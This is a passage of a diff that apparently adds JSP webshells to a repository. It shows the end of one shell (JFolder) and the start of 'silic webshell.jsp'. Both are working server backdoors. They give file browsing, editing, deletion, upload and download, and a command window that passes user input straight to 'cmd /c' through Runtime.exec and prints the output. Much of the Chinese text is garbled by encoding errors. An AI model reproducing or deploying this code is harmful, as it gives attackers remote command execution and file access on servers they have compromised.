<li><a href="http://www.smallrain.net" class="current" onClick="return expandcontent('menu1', this)"> <%=strFileManage[languageNo]%> </a></li>
|
||||||
|
<li><a href="new.htm" onClick="return expandcontent('menu2', this)" theme="#EAEAFF"> <%=strCommand[languageNo]%> </a></li>
|
||||||
|
<li><a href="hot.htm" onClick="return expandcontent('menu3', this)" theme="#EAEAFF"> <%=strSysProperty[languageNo]%> </a></li>
|
||||||
|
<li><a href="search.htm" onClick="return expandcontent('menu4', this)" theme="#EAEAFF"> <%=strHelp[languageNo]%> </a></li>
|
||||||
|
<%=authorInfo[languageNo]%>
|
||||||
|
</ul>
|
||||||
|
<!--Top Menu End-->
|
||||||
|
|
||||||
|
|
||||||
|
<%
|
||||||
|
StringBuffer sbFolder=new StringBuffer("");
|
||||||
|
StringBuffer sbFile=new StringBuffer("");
|
||||||
|
try
|
||||||
|
{
|
||||||
|
File objFile = new File(strDir);
|
||||||
|
File list[] = objFile.listFiles();
|
||||||
|
if(objFile.getAbsolutePath().length()>3)
|
||||||
|
{
|
||||||
|
sbFolder.append("<tr><td > </td><td><a href=\"javascript:doForm('','"+formatPath(objFile.getParentFile().getAbsolutePath())+"','','"+strCmd+"','1','');\">");
|
||||||
|
sbFolder.append(strParentFolder[languageNo]+"</a><br>- - - - - - - - - - - </td></tr>\r\n ");
|
||||||
|
|
||||||
|
|
||||||
|
}
|
||||||
|
for(int i=0;i<list.length;i++)
|
||||||
|
{
|
||||||
|
if(list[i].isDirectory())
|
||||||
|
{
|
||||||
|
sbFolder.append("<tr><td > </td><td>");
|
||||||
|
sbFolder.append(" <a href=\"javascript:doForm('','"+formatPath(list[i].getAbsolutePath())+"','','"+strCmd+"','1','');\">");
|
||||||
|
sbFolder.append(list[i].getName()+"</a><br></td></tr> ");
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
String strLen="";
|
||||||
|
String strDT="";
|
||||||
|
long lFile=0;
|
||||||
|
lFile=list[i].length();
|
||||||
|
strLen = convertFileSize(lFile);
|
||||||
|
Date dt=new Date(list[i].lastModified());
|
||||||
|
strDT=dt.toLocaleString();
|
||||||
|
sbFile.append("<tr onmouseover=\"this.style.backgroundColor='#FBFFC6'\" onmouseout=\"this.style.backgroundColor='white'\"><td>");
|
||||||
|
sbFile.append(""+list[i].getName());
|
||||||
|
sbFile.append("</td><td>");
|
||||||
|
sbFile.append(""+strLen);
|
||||||
|
sbFile.append("</td><td>");
|
||||||
|
sbFile.append(""+strDT);
|
||||||
|
sbFile.append("</td><td>");
|
||||||
|
|
||||||
|
sbFile.append(" <a href=\"javascript:doForm('edit','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">");
|
||||||
|
sbFile.append(strFileEdit[languageNo]+"</a> ");
|
||||||
|
|
||||||
|
sbFile.append(" <a href=\"javascript:doForm('del','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">");
|
||||||
|
sbFile.append(strFileDel[languageNo]+"</a> ");
|
||||||
|
|
||||||
|
sbFile.append(" <a href=\"javascript:doForm('down','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">");
|
||||||
|
sbFile.append(strFileDown[languageNo]+"</a> ");
|
||||||
|
|
||||||
|
sbFile.append(" <a href=\"javascript:doForm('copy','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">");
|
||||||
|
sbFile.append(strFileCopy[languageNo]+"</a> ");
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch(Exception e)
|
||||||
|
{
|
||||||
|
out.println("<font color=red><3E><><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD> "+e.toString()+"</font>");
|
||||||
|
}
|
||||||
|
%>
|
||||||
|
|
||||||
|
<DIV id="tabcontentcontainer">
|
||||||
|
|
||||||
|
|
||||||
|
<div id="menu3" class="tabcontent">
|
||||||
|
<br>
|
||||||
|
<br> δ<><CEB4><EFBFBD><EFBFBD>
|
||||||
|
<br>
|
||||||
|
<br>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div id="menu4" class="tabcontent">
|
||||||
|
<br>
|
||||||
|
<p>һ<><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˵<EFBFBD><CBB5></p>
|
||||||
|
<p> jsp <20>汾<EFBFBD><E6B1BE><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͨ<EFBFBD><CDA8><EFBFBD>ó<EFBFBD><C3B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Զ<EFBFBD>̹<EFBFBD><CCB9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϵ<EFBFBD><CFB5>ļ<EFBFBD>ϵͳ<CFB5><CDB3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>½<EFBFBD><C2BD><EFBFBD><EFBFBD>ġ<DEB8></p>
|
||||||
|
<p>ɾ<><C9BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>Ŀ¼<C4BF><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>windowsϵͳ<CFB5><CDB3><EFBFBD><EFBFBD><EFBFBD>ṩ<EFBFBD><E1B9A9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><D0B4>ڵĹ<DAB5><C4B9>ܣ<EFBFBD><DCA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һЩ<D2BB><D0A9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD></p>
|
||||||
|
<p><3E><>windows<77><73>cmd<6D><64></p>
|
||||||
|
<p> </p>
|
||||||
|
<p><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD></p>
|
||||||
|
<p> <b><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʹ<EFBFBD>ù<EFBFBD><C3B9><EFBFBD><EFBFBD>У<EFBFBD><D0A3><EFBFBD><EFBFBD>κ<EFBFBD><CEBA><EFBFBD><EFBFBD>⣬<EFBFBD><E2A3AC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߽<EFBFBD><DFBD>鶼<EFBFBD><E9B6BC><EFBFBD>Ը<EFBFBD><D4B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ԣ<EFBFBD><D4A3>Ա<EFBFBD>ʹ<EFBFBD><CAB9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƺ<EFBFBD><C6BA>ȶ<EFBFBD><C8B6><EFBFBD><p>
|
||||||
|
<EFBFBD><EFBFBD><EFBFBD>Ե<EFBFBD>ַΪ<EFBFBD><EFBFBD><a href="http://blog.csdn.net/cqq/archive/2004/11/14/181728.aspx" target="_blank">http://blog.csdn.net/cqq/archive/2004/11/14/181728.aspx</a></b>
|
||||||
|
<p> </p>
|
||||||
|
<p><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD>¼</p>
|
||||||
|
<p> 2004.11.15 V0.9<EFBFBD><EFBFBD><EFBFBD>淢<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һЩ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĺ<EFBFBD><EFBFBD>ܣ<EFBFBD><EFBFBD>ļ<EFBFBD><EFBFBD>༭<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ơ<EFBFBD>ɾ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ء<EFBFBD><EFBFBD>ϴ<EFBFBD><EFBFBD>Լ<EFBFBD><EFBFBD>½<EFBFBD><EFBFBD>ļ<EFBFBD>Ŀ¼<EFBFBD><EFBFBD><EFBFBD><EFBFBD></p>
|
||||||
|
<p> 2004.10.27 <20><>ʱ<EFBFBD><CAB1>Ϊ0.6<EFBFBD><EFBFBD><EFBFBD>ɣ<EFBFBD> <20>ṩ<EFBFBD><E1B9A9>Ŀ¼<C4BF>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> cmd<6D><64><EFBFBD><EFBFBD></p>
|
||||||
|
<p> 2004.09.20 <20><>һ<EFBFBD><D2BB>jsp <3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><F2B5A5B5><EFBFBD>ʾĿ¼<C4BF>ļ<EFBFBD><C4BC><EFBFBD>С<EFBFBD><D0A1><EFBFBD><EFBFBD></p>
|
||||||
|
<p> </p>
|
||||||
|
<p> </p>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
|
||||||
|
<div id="menu1" class="tabcontent">
|
||||||
|
<%
|
||||||
|
out.println("<table border='1' width='100%' bgcolor='#FBFFC6' cellspacing=0 cellpadding=5 bordercolorlight=#000000 bordercolordark=#FFFFFF><tr><td width='30%'>"+strCurrentFolder[languageNo]+"<22><> <b>"+strDir+"</b></td><td>" + getDrivers() + "</td></tr></table><br>\r\n");
|
||||||
|
%>
|
||||||
|
<table width="100%" border="1" cellspacing="0" cellpadding="5" bordercolorlight="#000000" bordercolordark="#FFFFFF">
|
||||||
|
|
||||||
|
<tr>
|
||||||
|
<td width="25%" align="center" valign="top">
|
||||||
|
<table width="98%" border="0" cellspacing="0" cellpadding="3">
|
||||||
|
<%=sbFolder%>
|
||||||
|
</tr>
|
||||||
|
</table>
|
||||||
|
</td>
|
||||||
|
<td width="81%" align="left" valign="top">
|
||||||
|
|
||||||
|
<%
|
||||||
|
if(strAction!=null && strAction.equals("edit"))
|
||||||
|
{
|
||||||
|
out.println(sbEdit.toString());
|
||||||
|
}
|
||||||
|
else if(strAction!=null && strAction.equals("copy"))
|
||||||
|
{
|
||||||
|
out.println(sbCopy.toString());
|
||||||
|
}
|
||||||
|
else if(strAction!=null && strAction.equals("down"))
|
||||||
|
{
|
||||||
|
out.println(sbDown.toString());
|
||||||
|
}
|
||||||
|
else if(strAction!=null && strAction.equals("savecopy"))
|
||||||
|
{
|
||||||
|
out.println(sbSaveCopy.toString());
|
||||||
|
}
|
||||||
|
else if(strAction!=null && strAction.equals("newFile") && !sbNewFile.toString().equals(""))
|
||||||
|
{
|
||||||
|
out.println(sbNewFile.toString());
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
%>
|
||||||
|
<span id="EditBox"><table width="98%" border="1" cellspacing="1" cellpadding="4" bordercolorlight="#cccccc" bordercolordark="#FFFFFF" bgcolor="white" >
|
||||||
|
<tr bgcolor="#E7e7e6">
|
||||||
|
<td width="26%"><%=strFileName[languageNo]%></td>
|
||||||
|
<td width="19%"><%=strFileSize[languageNo]%></td>
|
||||||
|
<td width="29%"><%=strLastModified[languageNo]%></td>
|
||||||
|
<td width="26%"><%=strFileOperation[languageNo]%></td>
|
||||||
|
</tr>
|
||||||
|
<%=sbFile%>
|
||||||
|
<!-- <tr align="center">
|
||||||
|
<td colspan="4"><br>
|
||||||
|
<20>ܼ<EFBFBD><DCBC>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><font color="#FF0000">30</font> <20><><EFBFBD><EFBFBD>С<EFBFBD><D0A1><font color="#FF0000">664.9</font>
|
||||||
|
KB </td>
|
||||||
|
</tr>
|
||||||
|
-->
|
||||||
|
</table>
|
||||||
|
</span>
|
||||||
|
<%
|
||||||
|
}
|
||||||
|
%>
|
||||||
|
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
|
||||||
|
<form name="frmMake" action="" method="post">
|
||||||
|
<tr><td colspan=2 bgcolor=#FBFFC6>
|
||||||
|
<input type="hidden" name="action" value="newFile">
|
||||||
|
<input type="hidden" name="path" value="<%=strDir%>">
|
||||||
|
<input type="hidden" name="file" value="<%=strFile%>">
|
||||||
|
<input type="hidden" name="cmd" value="<%=strCmd%>">
|
||||||
|
<input type="hidden" name="tabID" value="1">
|
||||||
|
<input type="hidden" name="content" value="">
|
||||||
|
<%
|
||||||
|
if(!strDir.endsWith("\\"))
|
||||||
|
strDir = strDir + "\\";
|
||||||
|
%>
|
||||||
|
<input type="text" name="fileName" size=36 value="<%=strDir%>">
|
||||||
|
<input type="submit" name="btnNewFile" value="<22>½<EFBFBD><C2BD>ļ<EFBFBD>" onclick="frmMake.submit()" >
|
||||||
|
<input type="submit" name="btnNewDir" value="<22>½<EFBFBD>Ŀ¼" onclick="frmMake.submit()" >
|
||||||
|
</form>
|
||||||
|
<form name="frmUpload" enctype="multipart/form-data" action="" method="post">
|
||||||
|
<input type="hidden" name="action" value="upload">
|
||||||
|
<input type="hidden" name="path" value="<%=strDir%>">
|
||||||
|
<input type="hidden" name="file" value="<%=strFile%>">
|
||||||
|
<input type="hidden" name="cmd" value="<%=strCmd%>">
|
||||||
|
<input type="hidden" name="tabID" value="1">
|
||||||
|
<input type="hidden" name="content" value="">
|
||||||
|
<input type="file" name="cqqUploadFile" size="36">
|
||||||
|
<input type="submit" name="submit" value="<22>ϴ<EFBFBD>">
|
||||||
|
</td></tr></form>
|
||||||
|
</table>
|
||||||
|
</div>
|
||||||
|
<div id="menu2" class="tabcontent">
|
||||||
|
|
||||||
|
<%
|
||||||
|
String line="";
|
||||||
|
StringBuffer sbCmd=new StringBuffer("");
|
||||||
|
|
||||||
|
if(strCmd!=null)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
//out.println(strCmd);
|
||||||
|
Process p=Runtime.getRuntime().exec("cmd /c "+strCmd);
|
||||||
|
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
|
||||||
|
while((line=br.readLine())!=null)
|
||||||
|
{
|
||||||
|
sbCmd.append(line+"\r\n");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch(Exception e)
|
||||||
|
{
|
||||||
|
System.out.println(e.toString());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
strCmd = "set";
|
||||||
|
}
|
||||||
|
|
||||||
|
%>
|
||||||
|
<form name="cmd" action="" method="post">
|
||||||
|
|
||||||
|
<input type="text" name="cmd" value="<%=strCmd%>" size=50>
|
||||||
|
<input type="hidden" name="tabID" value="2">
|
||||||
|
<input type=submit name=submit value="<%=strExecute[languageNo]%>">
|
||||||
|
</form>
|
||||||
|
<%
|
||||||
|
if(sbCmd!=null && sbCmd.toString().trim().equals("")==false)
|
||||||
|
{
|
||||||
|
%>
|
||||||
|
<TEXTAREA NAME="cqq" ROWS="20" COLS="100%"><%=sbCmd.toString()%></TEXTAREA>
|
||||||
|
<br>
|
||||||
|
<%
|
||||||
|
}
|
||||||
|
%>
|
||||||
|
</DIV>
|
||||||
|
</div>
|
||||||
|
<br><br>
|
||||||
|
<center><a href="http://www.topronet.com" target="_blank">www.topronet.com</a> ,All Rights Reserved.
|
||||||
|
<br>Any question, please email me cqq1978@Gmail.com
|
||||||
|
|
||||||
844
jsp/silic webshell.jsp
Normal file
844
jsp/silic webshell.jsp
Normal file
@@ -0,0 +1,844 @@
|
|||||||
|
<%@ page contentType="text/html;charset=gb2312"%>
|
||||||
|
<%@page import="java.io.*,java.util.*,java.net.*" %>
|
||||||
|
<%!
|
||||||
|
private final static int languageNo=0;
|
||||||
|
String strThisFile="JFolder.jsp";
|
||||||
|
String[] authorInfo={"<font color=red>Silic Group</font>"};
|
||||||
|
String[] strFileManage = {"<22><> <20><> <20><> <20><>","File Management"};
|
||||||
|
String[] strCommand = {"CMD <20><> <20><>","Command Window"};
|
||||||
|
String[] strSysProperty = {"ϵ ͳ <20><> <20><>","System Property"};
|
||||||
|
String[] strHelp = {"<22><> <20><>","Help"};
|
||||||
|
String[] strParentFolder = {"<22>ϼ<EFBFBD>Ŀ¼","Parent Folder"};
|
||||||
|
String[] strCurrentFolder= {"<22><>ǰĿ¼","Current Folder"};
|
||||||
|
String[] strDrivers = {"<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>","Drivers"};
|
||||||
|
String[] strFileName = {"<22>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>","File Name"};
|
||||||
|
String[] strFileSize = {"<22>ļ<EFBFBD><C4BC><EFBFBD>С","File Size"};
|
||||||
|
String[] strLastModified = {"<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>","Last Modified"};
|
||||||
|
String[] strFileOperation= {"<22>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>","Operations"};
|
||||||
|
String[] strFileEdit = {"<22><EFBFBD>","Edit"};
|
||||||
|
String[] strFileDown = {"<22><><EFBFBD><EFBFBD>","Download"};
|
||||||
|
String[] strFileCopy = {"<22><><EFBFBD><EFBFBD>","Move"};
|
||||||
|
String[] strFileDel = {"ɾ<><C9BE>","Delete"};
|
||||||
|
String[] strExecute = {"ִ<><D6B4>","Execute"};
|
||||||
|
String[] strBack = {"<22><><EFBFBD><EFBFBD>","Back"};
|
||||||
|
String[] strFileSave = {"<22><><EFBFBD><EFBFBD>","Save"};
|
||||||
|
public class FileHandler
|
||||||
|
{
|
||||||
|
private String strAction="";
|
||||||
|
private String strFile="";
|
||||||
|
void FileHandler(String action,String f)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
}
|
||||||
|
public static class UploadMonitor {
|
||||||
|
static Hashtable uploadTable = new Hashtable();
|
||||||
|
static void set(String fName, UplInfo info) {
|
||||||
|
uploadTable.put(fName, info);
|
||||||
|
}
|
||||||
|
static void remove(String fName) {
|
||||||
|
uploadTable.remove(fName);
|
||||||
|
}
|
||||||
|
static UplInfo getInfo(String fName) {
|
||||||
|
UplInfo info = (UplInfo) uploadTable.get(fName);
|
||||||
|
return info;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
public class UplInfo {
|
||||||
|
public long totalSize;
|
||||||
|
public long currSize;
|
||||||
|
public long starttime;
|
||||||
|
public boolean aborted;
|
||||||
|
public UplInfo() {
|
||||||
|
totalSize = 0l;
|
||||||
|
currSize = 0l;
|
||||||
|
starttime = System.currentTimeMillis();
|
||||||
|
aborted = false;
|
||||||
|
}
|
||||||
|
public UplInfo(int size) {
|
||||||
|
totalSize = size;
|
||||||
|
currSize = 0;
|
||||||
|
starttime = System.currentTimeMillis();
|
||||||
|
aborted = false;
|
||||||
|
}
|
||||||
|
public String getUprate() {
|
||||||
|
long time = System.currentTimeMillis() - starttime;
|
||||||
|
if (time != 0) {
|
||||||
|
long uprate = currSize * 1000 / time;
|
||||||
|
return convertFileSize(uprate) + "/s";
|
||||||
|
}
|
||||||
|
else return "n/a";
|
||||||
|
}
|
||||||
|
public int getPercent() {
|
||||||
|
if (totalSize == 0) return 0;
|
||||||
|
else return (int) (currSize * 100 / totalSize);
|
||||||
|
}
|
||||||
|
public String getTimeElapsed() {
|
||||||
|
long time = (System.currentTimeMillis() - starttime) / 1000l;
|
||||||
|
if (time - 60l >= 0){
|
||||||
|
if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m";
|
||||||
|
else return time / 60 + ":0" + (time % 60) + "m";
|
||||||
|
}
|
||||||
|
else return time<10 ? "0" + time + "s": time + "s";
|
||||||
|
}
|
||||||
|
public String getTimeEstimated() {
|
||||||
|
if (currSize == 0) return "n/a";
|
||||||
|
long time = System.currentTimeMillis() - starttime;
|
||||||
|
time = totalSize * time / currSize;
|
||||||
|
time /= 1000l;
|
||||||
|
if (time - 60l >= 0){
|
||||||
|
if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m";
|
||||||
|
else return time / 60 + ":0" + (time % 60) + "m";
|
||||||
|
}
|
||||||
|
else return time<10 ? "0" + time + "s": time + "s";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
public class FileInfo {
|
||||||
|
public String name = null, clientFileName = null, fileContentType = null;
|
||||||
|
private byte[] fileContents = null;
|
||||||
|
public File file = null;
|
||||||
|
public StringBuffer sb = new StringBuffer(100);
|
||||||
|
public void setFileContents(byte[] aByteArray) {
|
||||||
|
fileContents = new byte[aByteArray.length];
|
||||||
|
System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
public class HttpMultiPartParser {
|
||||||
|
private final String lineSeparator = System.getProperty("line.separator", "\n");
|
||||||
|
private final int ONE_MB = 1024 * 1;
|
||||||
|
public Hashtable processData(ServletInputStream is, String boundary, String saveInDir,
|
||||||
|
int clength) throws IllegalArgumentException, IOException {
|
||||||
|
if (is == null) throw new IllegalArgumentException("InputStream");
|
||||||
|
if (boundary == null || boundary.trim().length() < 1) throw new IllegalArgumentException(
|
||||||
|
"\"" + boundary + "\" is an illegal boundary indicator");
|
||||||
|
boundary = "--" + boundary;
|
||||||
|
StringTokenizer stLine = null, stFields = null;
|
||||||
|
FileInfo fileInfo = null;
|
||||||
|
Hashtable dataTable = new Hashtable(5);
|
||||||
|
String line = null, field = null, paramName = null;
|
||||||
|
boolean saveFiles = (saveInDir != null && saveInDir.trim().length() > 0);
|
||||||
|
boolean isFile = false;
|
||||||
|
if (saveFiles) { // Create the required directory (including parent dirs)
|
||||||
|
File f = new File(saveInDir);
|
||||||
|
f.mkdirs();
|
||||||
|
}
|
||||||
|
line = getLine(is);
|
||||||
|
if (line == null || !line.startsWith(boundary)) throw new IOException(
|
||||||
|
"Boundary not found; boundary = " + boundary + ", line = " + line);
|
||||||
|
while (line != null) {
|
||||||
|
if (line == null || !line.startsWith(boundary)) return dataTable;
|
||||||
|
line = getLine(is);
|
||||||
|
if (line == null) return dataTable;
|
||||||
|
stLine = new StringTokenizer(line, ";\r\n");
|
||||||
|
if (stLine.countTokens() < 2) throw new IllegalArgumentException(
|
||||||
|
"Bad data in second line");
|
||||||
|
line = stLine.nextToken().toLowerCase();
|
||||||
|
if (line.indexOf("form-data") < 0) throw new IllegalArgumentException(
|
||||||
|
"Bad data in second line");
|
||||||
|
stFields = new StringTokenizer(stLine.nextToken(), "=\"");
|
||||||
|
if (stFields.countTokens() < 2) throw new IllegalArgumentException(
|
||||||
|
"Bad data in second line");
|
||||||
|
fileInfo = new FileInfo();
|
||||||
|
stFields.nextToken();
|
||||||
|
paramName = stFields.nextToken();
|
||||||
|
isFile = false;
|
||||||
|
if (stLine.hasMoreTokens()) {
|
||||||
|
field = stLine.nextToken();
|
||||||
|
stFields = new StringTokenizer(field, "=\"");
|
||||||
|
if (stFields.countTokens() > 1) {
|
||||||
|
if (stFields.nextToken().trim().equalsIgnoreCase("filename")) {
|
||||||
|
fileInfo.name = paramName;
|
||||||
|
String value = stFields.nextToken();
|
||||||
|
if (value != null && value.trim().length() > 0) {
|
||||||
|
fileInfo.clientFileName = value;
|
||||||
|
isFile = true;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
line = getLine(is); // Skip "Content-Type:" line
|
||||||
|
line = getLine(is); // Skip blank line
|
||||||
|
line = getLine(is); // Skip blank line
|
||||||
|
line = getLine(is); // Position to boundary line
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if (field.toLowerCase().indexOf("filename") >= 0) {
|
||||||
|
line = getLine(is); // Skip "Content-Type:" line
|
||||||
|
line = getLine(is); // Skip blank line
|
||||||
|
line = getLine(is); // Skip blank line
|
||||||
|
line = getLine(is); // Position to boundary line
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
boolean skipBlankLine = true;
|
||||||
|
if (isFile) {
|
||||||
|
line = getLine(is);
|
||||||
|
if (line == null) return dataTable;
|
||||||
|
if (line.trim().length() < 1) skipBlankLine = false;
|
||||||
|
else {
|
||||||
|
stLine = new StringTokenizer(line, ": ");
|
||||||
|
if (stLine.countTokens() < 2) throw new IllegalArgumentException(
|
||||||
|
"Bad data in third line");
|
||||||
|
stLine.nextToken(); // Content-Type
|
||||||
|
fileInfo.fileContentType = stLine.nextToken();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (skipBlankLine) {
|
||||||
|
line = getLine(is);
|
||||||
|
if (line == null) return dataTable;
|
||||||
|
}
|
||||||
|
if (!isFile) {
|
||||||
|
line = getLine(is);
|
||||||
|
if (line == null) return dataTable;
|
||||||
|
dataTable.put(paramName, line);
|
||||||
|
// If parameter is dir, change saveInDir to dir
|
||||||
|
if (paramName.equals("dir")) saveInDir = line;
|
||||||
|
line = getLine(is);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
UplInfo uplInfo = new UplInfo(clength);
|
||||||
|
UploadMonitor.set(fileInfo.clientFileName, uplInfo);
|
||||||
|
OutputStream os = null;
|
||||||
|
String path = null;
|
||||||
|
if (saveFiles) os = new FileOutputStream(path = getFileName(saveInDir,
|
||||||
|
fileInfo.clientFileName));
|
||||||
|
else os = new ByteArrayOutputStream(ONE_MB);
|
||||||
|
boolean readingContent = true;
|
||||||
|
byte previousLine[] = new byte[2 * ONE_MB];
|
||||||
|
byte temp[] = null;
|
||||||
|
byte currentLine[] = new byte[2 * ONE_MB];
|
||||||
|
int read, read3;
|
||||||
|
if ((read = is.readLine(previousLine, 0, previousLine.length)) == -1) {
|
||||||
|
line = null;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
while (readingContent) {
|
||||||
|
if ((read3 = is.readLine(currentLine, 0, currentLine.length)) == -1) {
|
||||||
|
line = null;
|
||||||
|
uplInfo.aborted = true;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
if (compareBoundary(boundary, currentLine)) {
|
||||||
|
os.write(previousLine, 0, read - 2);
|
||||||
|
line = new String(currentLine, 0, read3);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
os.write(previousLine, 0, read);
|
||||||
|
uplInfo.currSize += read;
|
||||||
|
temp = currentLine;
|
||||||
|
currentLine = previousLine;
|
||||||
|
previousLine = temp;
|
||||||
|
read = read3;
|
||||||
|
}//end else
|
||||||
|
}//end while
|
||||||
|
os.flush();
|
||||||
|
os.close();
|
||||||
|
if (!saveFiles) {
|
||||||
|
ByteArrayOutputStream baos = (ByteArrayOutputStream) os;
|
||||||
|
fileInfo.setFileContents(baos.toByteArray());
|
||||||
|
}
|
||||||
|
else fileInfo.file = new File(path);
|
||||||
|
dataTable.put(paramName, fileInfo);
|
||||||
|
uplInfo.currSize = uplInfo.totalSize;
|
||||||
|
}//end try
|
||||||
|
catch (IOException e) {
|
||||||
|
throw e;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return dataTable;
|
||||||
|
}
|
||||||
|
private boolean compareBoundary(String boundary, byte ba[]) {
|
||||||
|
byte b;
|
||||||
|
if (boundary == null || ba == null) return false;
|
||||||
|
for (int i = 0; i < boundary.length(); i++)
|
||||||
|
if ((byte) boundary.charAt(i) != ba[i]) return false;
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
private synchronized String getLine(ServletInputStream sis) throws IOException {
|
||||||
|
byte b[] = new byte[1024];
|
||||||
|
int read = sis.readLine(b, 0, b.length), index;
|
||||||
|
String line = null;
|
||||||
|
if (read != -1) {
|
||||||
|
line = new String(b, 0, read);
|
||||||
|
if ((index = line.indexOf('\n')) >= 0) line = line.substring(0, index - 1);
|
||||||
|
}
|
||||||
|
return line;
|
||||||
|
}
|
||||||
|
public String getFileName(String dir, String fileName) throws IllegalArgumentException {
|
||||||
|
String path = null;
|
||||||
|
if (dir == null || fileName == null) throw new IllegalArgumentException(
|
||||||
|
"dir or fileName is null");
|
||||||
|
int index = fileName.lastIndexOf('/');
|
||||||
|
String name = null;
|
||||||
|
if (index >= 0) name = fileName.substring(index + 1);
|
||||||
|
else name = fileName;
|
||||||
|
index = name.lastIndexOf('\\');
|
||||||
|
if (index >= 0) fileName = name.substring(index + 1);
|
||||||
|
path = dir + File.separator + fileName;
|
||||||
|
if (File.separatorChar == '/') return path.replace('\\', File.separatorChar);
|
||||||
|
else return path.replace('/', File.separatorChar);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
String formatPath(String p)
|
||||||
|
{
|
||||||
|
StringBuffer sb=new StringBuffer();
|
||||||
|
for (int i = 0; i < p.length(); i++)
|
||||||
|
{
|
||||||
|
if(p.charAt(i)=='\\')
|
||||||
|
{
|
||||||
|
sb.append("\\\\");
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
sb.append(p.charAt(i));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return sb.toString();
|
||||||
|
}
|
||||||
|
static String conv2Html(int i) {
|
||||||
|
if (i == '&') return "&";
|
||||||
|
else if (i == '<') return "<";
|
||||||
|
else if (i == '>') return ">";
|
||||||
|
else if (i == '"') return """;
|
||||||
|
else return "" + (char) i;
|
||||||
|
}
|
||||||
|
static String htmlEncode(String st) {
|
||||||
|
StringBuffer buf = new StringBuffer();
|
||||||
|
for (int i = 0; i < st.length(); i++) {
|
||||||
|
buf.append(conv2Html(st.charAt(i)));
|
||||||
|
}
|
||||||
|
return buf.toString();
|
||||||
|
}
|
||||||
|
String getDrivers()
|
||||||
|
{
|
||||||
|
